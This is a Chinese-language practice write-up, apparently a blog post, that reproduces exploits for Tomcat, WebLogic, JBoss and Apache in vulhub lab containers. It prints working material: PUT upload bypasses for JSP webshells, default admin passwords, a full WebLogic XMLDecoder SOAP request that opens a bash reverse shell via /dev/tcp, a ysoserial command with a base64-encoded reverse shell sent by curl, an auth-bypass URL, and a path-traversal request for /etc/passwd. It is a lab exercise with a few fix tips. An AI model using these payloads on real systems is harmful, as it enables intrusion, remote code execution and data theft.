常见的中间件漏洞练习

tomcat

CVE-2017-12615

Tomcat允许适用put方法上传任意文件类型,但不允许jsp后缀文件上传,因此我们需要配合 windows的解析漏洞

使用put方法 上传木马文件 ccc.jsp

PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/

到重放器试试

放包 访问ccc.jsp

哥斯拉连接:

后台弱口令部署war包

漏洞原理:

在tomcat8环境下默认进入后台的密码为 tomcat/tomcat ,未修改造成未授权即可进入后台,或者管理员 把密码设置成弱口令。

环境搭建:

cd vulhub-master/tomcat/tomcat8
docker-compose up -d

访问:点击这里

账号密码 tomcat

这里先弄一个木马ccc.jsp->压缩一下->再修改后缀名为war

这里就可以看到我们上传的了:

直接访问ccc 没有->访问ccc/ccc.jsp

哥斯拉连接:

CVE-2020-1938

Tomcat文件包含漏洞

由于Tomcat AJP协议设计上的缺陷,攻击者通过Tomcat AJP Connector 可以读取或包含Tomcat上所有 Webapp目录下的任意文件

环境搭建:

cd vulhub-master/tomcat/CVE-2020-1938
docker-compose up -d

原理:

tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口,另 外一个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。

POC:

python2 CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml IP

漏洞修复:

1.更新版本

2.关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉

3.配置ajp配置中的secretRequired跟secret属性来限制认证。

WebLogic

后台弱口令GetShell

通过弱口令进入后台界面 , 上传部署war包 , getshell

环境搭建:

cd vulhub-master/weblogic/weak_password
docker-compose up -d

漏洞复现:

访问console:

登录后台:账号密码:weblogic/Oracle@123

点击上载文件:

也是将木马jsp文件->压缩->更改后缀名war->上传

显示这个 成功!

访问部署好的我们的war:

哥斯拉连接:

CVE-2017-3506(XMLDecoder 反序列化漏洞)

Weblogic的WLS Security组件对外提供了webserver服务,其中使用了XMLDecoder来解析用户输入的 XML数据,在解析过程中出现反序列化漏洞,可导致任意命令执行。

环境搭建:

cd vulhub-master/weblogic/weak_password
docker-compose up -d

漏洞复现:

/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11

验证是否存在wls-wsat组件:::

出现这个即存在:

在当前页抓包,替换下面请求包:进行反弹shell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 靶机IP:port
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/反弹到的IP/7777 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

500也可反弹到!

使用工具:

执行命令:

webshell:

CVE-2018-2628

这里我们使用工具(Liqun工具箱)

可以命令执行:

webshell:

漏洞修复:

1.及时更新补丁

2.禁用T3协议

3.禁止T3端口对外开放,或者限制可访问T3端口的IP来源

4.升级版本

CVE-2018-2894

WebLogic文件任意上传漏洞

环境搭建:

cd vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d

密码随机给 获取密码:

docker-compose logs | grep password

登录之后->设置web服务测试开启: 域结构 -> base-domain -> 高级 -> 启动Web服务测试页:

进入 config.do 文件进行设置,将目录设置为 ws_utc 应用的静态文件css目录,访问这个目 录是无需权限的,这一点很重要

安全->添加:

上传文件:

寻找id:

访问: http://192.168.1.106:7001/ws_utc/css/config/keystore/1713691752146.jsp

CVE-2020-14882

环境搭建:

cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d

访问控制台:

使用这个url可以绕过登录:

http://192.168.1.106:7001/console/css/%252e%252e%252fconsole.portal

只获得了一个 未授权访问 不能进行webshell 需要再借助其他漏洞 CVE-2020-14883 

远程加载XML文 件拿到Shell

使用工具:

脚本:

Jboss

CVE-2015-7501

环境搭建:

cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d

漏洞复现:

访问http://192.168.1.106:8080/invoker/JMXInvokerServlet 返回文件 说明端口开放

使用工具 进行漏洞利用:

将反弹shell进行base64编码:

bash -i >& /dev/tcp/192.168.1.106/4444 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA2LzQ0NDQgMD4mMQ==

设置监听

java8 -jar ysoserial-all.jar CommonsCollections5 "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjE1LjEzNi4yMTIvNDQ0NCAwPiYx}|{base64,-d}|
{bash,-i} " >exp.ser

执行命令:

curl http://IP:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

CVE-2017-7504

环境搭建:

cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d

访问:http://192.168.1.106:8080/jbossmq-httpil/HTTPServerILServlet

使用工具:

python3 jexboss.py -u http://IP:8080

工具反弹shell:

CVE-2017-12149

JBoss 5.x/6.x反序列化漏洞

环境搭建:

cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d

访问漏洞页面,看jboss版本:

验证是否存在漏洞 , 访问: 返回500,说明页面存在,此页面存在反序列化漏洞

使用工具:

漏洞修复:

1.不需要 http-invoker.sar 组件的用户可直接删除此组件

2.组件进行访问控制

Administration Console弱口令

环境搭建:

cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d

访问目录:

/admin-console/login.seam?conversationId=4

账号密码:admin/vulhub

登录:

点击->web应用->上传war->getshell

低版本JMX Console未授权

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致 攻击者可以进⼊到 jmx控制台,并在其中执行任何功能

cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d

访问:

admin/admin

找到 jboss.deployment (jboss 自带得部署功能) 中的 flavor=URL,type=DeploymentScanner 点进去(通过URL的方式远程部署)

制作war包 , 这里用之前制作好的 ccc.war , 然后用 python 开启web服务

python3 -m http.server

http://192.168.1.106:8000/ccc.war

访问:

wegshell工具连接

高版本JMX Console未授权

JMX Console默认存在未授权访问,直接点击JBoss主页中的 JMX Console 链接进入JMX Console页面 , 通过部署war包 , getshell

环境搭建:

cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d

admin/vulhub

在JMX Console页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer, 如下:

进入service=MainDeployer页面之后,找到methodIndex为17或19的deploy 填写远程war包地址 进行远程部署

连接Webshell

Apache

CVE-2021-41773

Apache HTTP Server 路径穿越漏洞

该漏洞是由于Apache HTTP Server 2.4.49版本存在目录穿越漏洞,在路径穿越目录 Require all granted 允许被访问的的情况下(默认开启),攻击者可利用该路径穿 越漏洞读取到Web目录之外的其他文件

环境搭建:

docker pull blueteamsteve/cve-2021-41773:no-cgid

漏洞复现:

POC:

curl http://IP:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

  • 9
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值